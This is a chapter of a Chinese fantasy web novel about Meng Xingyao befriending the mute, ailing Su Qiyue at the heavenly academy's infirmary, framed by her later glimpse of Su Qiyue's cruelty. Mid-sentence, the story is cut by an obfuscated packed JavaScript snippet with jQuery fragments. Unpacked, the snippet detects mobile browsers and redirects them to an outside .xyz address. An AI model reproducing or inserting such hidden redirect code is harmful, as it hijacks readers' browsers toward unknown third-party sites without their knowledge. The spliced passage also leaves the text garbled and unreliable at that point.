回池华殿的路并不长。
一路上,她脑海里都是不久前在幻境里见到的,鸣玉楼的灭门的景象。
煌煌神火陨落,砸落满山的狼藉与焦土。
苏祈月停在半空,发丝飞扬,清秀素净的脸庞被神火映照出温暖的琥珀色。
但面对底下的哭喊哀嚎,那双往日温柔如水的眼眸里不见半分怜悯,反而流露出无尽的冷漠和淡淡讥讽。
是她从未见过的苏祈月。
既意外,却也不意外。
同门多年,她自然知道她骨子里有好名利的毛病,不然也不会窃取阿景师傅的画,作为自己的作品宣扬出去,也不会招揽如此多的宗门为自己供奉钱财,也不会费了这么多年的心力,终于得偿所愿,也成为了七曜之一。
只是年少和她在天玄学宫相识之时,怎么也想不到她日后会成为这样一个人。
当年苏祈月被谢云迢和危梦之从外面找回来时,情况并不好。
虽不似他人般遍体鳞伤,但也被魔气感染,生了重病,又因她本就体质虚弱,反应更为强烈。
最严重之时,神脉紊乱,气息不畅,每日都要忍受神血反噬的灼心之痛。
一回来,她就被重春师姑和百里师尊给带去医治,在天医署里配了一个单独的房间。
大荒神族曾以东西南北划分,虽以昆仑天玄一脉为尊,但其实各自为政,互不干扰,直到魔祖重渊奉天谕,率领万千魔军集结出世,战火纷飞,以燎原之势席卷大荒,剑指昆仑,他们方才成了一根绳上的蚂蚱。
虽然魔军主力以位于西北海,由重渊所建造的大自在天为营,但在重渊起势之前,他的信徒早已布满大荒。
当年天魔之战持续多年,世人才渐渐知晓,魔祖重渊其实是诞生于极恶之地罪灵渊深处的,一缕无法被旁人杀死的天地至恶之念化身。
他为了逃出去,隐藏身份,窃取人身,以少年之貌,骗过了当时负责剿灭罪灵渊的天界众军,还和彼时年纪尚小,后来成为了清微帝君的璩清微成了养兄弟。
他生性本恶,演技出神入化,瞒天过海,骗过了许多人,也骗了许多年。
即便被天界收养,教化多年,他那副窃来的躯壳内,从未长出半分血肉之心。
天界待他不薄,他却并不以为意,反而另辟蹊径,以人们心中欲念为饵,引人堕魔。
相比于当时需刻苦修炼且尚为小众的仙道和更看重嫡系血脉的神道,魔道一经问世,便是以迅雷不及掩耳之势传开来。
那时世人不知其为魔,还用着用重渊为它起的名字,唤作圣道。
重渊自诩圣主,笑言,此道可谓众心所向。
后来,神族意识到不对劲,想阻拦重渊,但为时已晚,他早已集结信徒,叛出神界。
重渊执圣主令号令天下群魔,并联合妖族,意欲一统大荒。当天玄一脉被他逼宫之时,整个大荒人间和其他神族也开始卷入战火。
打到最后,唯有彼时距离最远,与西荒相隔垂星天堑的东荒尚得安宁。
在蓬莱神族的助力下,各荒遗民迁移而来,得一安身之所,并在天玄神族的带领下,重新建立起新的天界。
但这么短的时间,这么乱的世道,许多场所临时也建不了多大的地方。
东荒的这个天玄学宫,不仅比旧址上的小了将近一半,就连附带的天医署,也不过是望星丘旁的一处院落和几间宽敞的屋舍。
苏祈月被带去的地方,恰好就是孟星遥之前待的那间屋子。
那时的她课余正跟着百里清音学医术,每日除去日常修炼外,其余时间都待在天医署里采药配药,课业多,又枯燥。
听说危梦之那传闻中失踪的姐姐被救了回来,还因流浪的日子里惊吓过度,患了失语症,她很是好奇,趁着空闲时也溜达了过去。
她去的时候,已经是好几天后了,人群已经散得差不多,就连占据这里五六日,又哭又乐闹得鸡犬不宁的危梦之,也被忍无可忍的重春以不得干扰病人休息的由头让谢云迢把他给强行拽走了。
整个天医署浸在午后的阳光里,总算是重回安静。
苏祈月住的那间屋子在二楼,此时大门紧闭,但对着后院的窗户却是开着的,后院里有一棵很大的古槐。
孟星遥熟悉这里,计上心来,她绕过其他医者,跑到槐树下,身轻乘风,跃了上去。
她扒开茂密的枝桠,探头探脑地钻出来时,恰好对上坐在窗前发呆,一脸愁容的苏祈月。
两人视线相触,都吓了一跳,苏祈月娇生惯养,被这一吓,一副要惊厥的模样。孟星遥连忙做了个安抚的手势,低声喊道:“别怕别怕,我是你师姐!”
苏祈月捂住心口,表情很是迷茫。
“是这样的,你呢,是危梦之的姐姐,也是南明神族,肯定也要留下来,除去在旧学宫就入学了的闻师兄和楚师兄,我就是新天玄学宫排行最大的弟子,你理当喊我一句师姐。”
她坐在树上,认真地跟她比划。垂下的裙摆层层叠叠,如树上盛开的玉兰花朵。
此时此刻,背后的阳光越过孟星遥被风拂起的发丝,给她镀了一层柔和的金边。
苏祈月望着她,懵懵懂懂地点了头,算是打招呼。
孟星遥轻轻一笑,也算是回了招呼,正想寻个借口开溜,又看见苏祈月紧紧盯着自己,似乎是在问:那师姐,你为什么会在树上?
“呃……”总不好意思跟她说自己是专程来偷看她的,孟星遥思索了一下,说道,“你这个屋子,先前是我住的,我落了点东西没带走,我看门关着,就想来看看屋子里有没有人……”
孟星遥倒没骗人,她确实有东西落在这间屋子里。
她进来后一阵翻箱倒柜,在苏祈月错愕的目光里,在柜子的里面打开了一个暗格,从里面取出了一个小箱子。
箱子看着很贵重,还上了锁,很是宝贝的模样。苏祈月在她身边好奇地探出脑袋,孟星遥问道:“你想看里面的?”
少女睁着圆圆的眼睛,小心翼翼地点点头。
“也不是不方便……”孟星遥嘀咕道。
于是她费了九牛二虎之力,把箱子给打开了。
“只是里面也不是什么值钱的玩意。”
箱子里的东西不多,都是一些草编的小动物。孟星遥拿起一只小蝴蝶,给她看:“天医署最是无趣了,我先前在这里养病时也是无事可做,就把一些剩下的草药拿出来编着玩,你看,这只蝴蝶是我最喜欢的。”
用蒲葵叶编成的蝴蝶栩栩如生,精美漂亮,在孟星遥的抖动下,仿佛真的在扑闪着翅膀。
“我小时候住在天渺宗里,跟里面的师父们学的,凡间很流行这些小东西,阿迢也很喜欢,南荒的凡间应该也有,不知道你这些年有没有见过。”
苏祈月望着它,忧郁腼腆的眼神里露出一抹欢喜,但很快,她似乎意识到了什么,猛地挪开视线。
孟星遥以为她不喜欢,悻悻地放了回去,缓和气氛道:“没事,不喜欢也正常,我……”
话音未落,苏祈月忽然捂住自己的心口,啪叽一下倒了下去。
她这一倒,连带拽倒了旁边的桌椅,轰隆一声,一堆东西一连串地翻落在地。苏祈月躺在七零八落的家具堆里,痛得满地翻滚。
孟星遥被吓了一大跳,急忙施法为她缓解,同时也顾不上会被训话,就打开门往外去喊人。
等到苏祈月醒来时,已经是第二天的晚上了。
孟星遥彼时又被百里师尊布置了一堆枯燥至极的药园打扫和草药整理任务,作为她干扰病人休息的惩罚,气得她掏出藏在怀里的小册子,一边认认真真干活,一边狠狠地记上一笔。
她准备写满三十条就递到黎煊那边,让他早点幡然醒悟自己不适合学医这件事,趁早把自己带回去。
除此之外,她还要誊抄多份,不仅向重春师姑、长昀师伯告状,还要给谢云迢、闻氏兄妹和楚师兄等人都寄去,让他们都来替自己说话。
等着吧,她迟早离开这破医署。
当孟星遥正提着笔琢磨怎么编织罪名显得事情比较严重时,冷不防被站在身后的苏祈月又给吓了一跳。
她心有余悸地把小册子藏好,环顾四周,悄悄做了个噤声的手势:“嘘,吓死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536950|172938||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,我还以为是老头子又来了。”
苏祈月愣愣地看着她,手里还托着那只蝴蝶,她跟着环顾了一下四周,小心翼翼比了个手势。
虽然不明白是什么意思,但看起来像是在感谢她。
孟星遥忙拉着她往回走:“你要真谢谢我,就别乱跑了,虽然咱俩离得不远,但你万一又出事,我可遭罪了。”
她视线下移,看到被她捧在怀里的草蝴蝶,忍不住得意地努努嘴,笑道:“怎么样,还是挺喜欢的吧,你喜欢的话,我多折点给你,你方才看到了吧,施了法术还能飞呢,我先前和阿迢在这里养病的时候可无聊了,有它们陪着刚好。”
随着她这句话,那只蝴蝶又翩然飞起,拖着长长的尾翼,仿佛还泛着淡淡流光。
苏祈月望着蝴蝶,把孟星遥的手攥得更紧了一些。
对于她俩成为了朋友这事,危梦之显然很震惊,也很莫名其妙。
他一边恼羞成怒地指着孟星遥:“你干嘛,你有事冲我来,还想拐骗我阿姊?”
一边恨铁不成钢转身对苏祈月道:“阿姊,你知道这个人有多可怕吗?你之前没回来,不知道她上次把我打得有多惨!那可真是……气死了!”
许是不想回忆自己之前的狼狈模样,他恶狠狠对身旁的仆从示意:“你来跟她说!”
仆从得了令,也恶狠狠地手舞足蹈开始比划。
“大王姬也知道,我们世子殿下,可是南荒第一大善人啊,圣者仁心,慈悲为怀,最见不得旁人困顿难过。尤其是女子,这女子的眼泪就是珍珠啊,绝不能随便掉!”
“对,没错!”
“我们世子殿下有什么错,他只是想让每一个人都能得到照顾,让每一个人都能在这个乱世里感到温暖,这是大义啊,有错吗?而且又不是只有女的,师兄弟们他没照顾吗?你不能因为其他师姐妹们因此爱上他,就觉得他的善良之举,有问题,对吧?”
“就是!”
“哼!可笑的就是!我们世子殿下一代天骄,竟被这凶狠女娃,不分青红皂白地给绑架了,还用白绸倒悬在树上!”仆从越说越激动,仿佛手里举着一个抚尺,就差一张桌子狠狠拍下,“不仅被狠狠打了一个巴掌,还被痛击一肘,险些倒栽到地上,那叫一个惨叫连连,这举世罕见的俊美容颜,差点被毁!……”
危梦之:“嗯非常对……不对!说什么呢!”
“世子殿下,我记得很清楚,步骤都没错,不是你让我据实描述吗?”
他手脚并用地把人打跑:“去去去,滚一边去!”
“总而言之,不管怎么说!”危梦之转过来,双手叉腰,恶狠狠地指着孟星遥,对苏祈月说,“这个女人,很危险,你!离她远点!”
孟星遥站在一旁,看他表演,都懒得和这个人争辩。
有道是不与傻瓜论短长,浪费时间。
但是没想到苏祈月听了半晌,最后还是一步三挪,躲到了孟星遥的身后,不想理他。
孟星遥和危梦之大眼瞪小眼。
“是这样的,”危梦之轻咳一声,“我阿姊在外面受伤,有点失忆了,她本来胆子就小,见到像我这么英俊风流的人,有点害怕,实属正常。你先别急,百里师尊说了,她这症状过段时间就能痊愈了,我再跟她好好说道说道……”
孟星遥懒得理他,拉起苏祈月就往外走:“走了走了,我带你去认识认识其他同门去,容姬、闻师兄和闻师妹,楚师兄,还有阿迢,他们今天正好来了,就在那边,刚好。”
危梦之见状,也急忙跟了上来。
见到孟星遥疑惑的目光,他理直气壮道:“干嘛,你要拐走我阿姊?还有,我也要去找阿迢,有问题吗?他救了我阿姊,我还没重谢过他呢,刚好。”
这人是不是欠打啊。
好在苏祈月乖乖地牵着她的手。许是在外流浪辛苦,从小养尊处优的王姬身上没有半分架子,微风拂过她额前刘海,以及两边垂下的发髻,显得她整个人斯斯文文,十分乖巧。
呵,看在她的面子上,她不跟他计较。
明明是亲姐弟,也不知道为什么差这么多。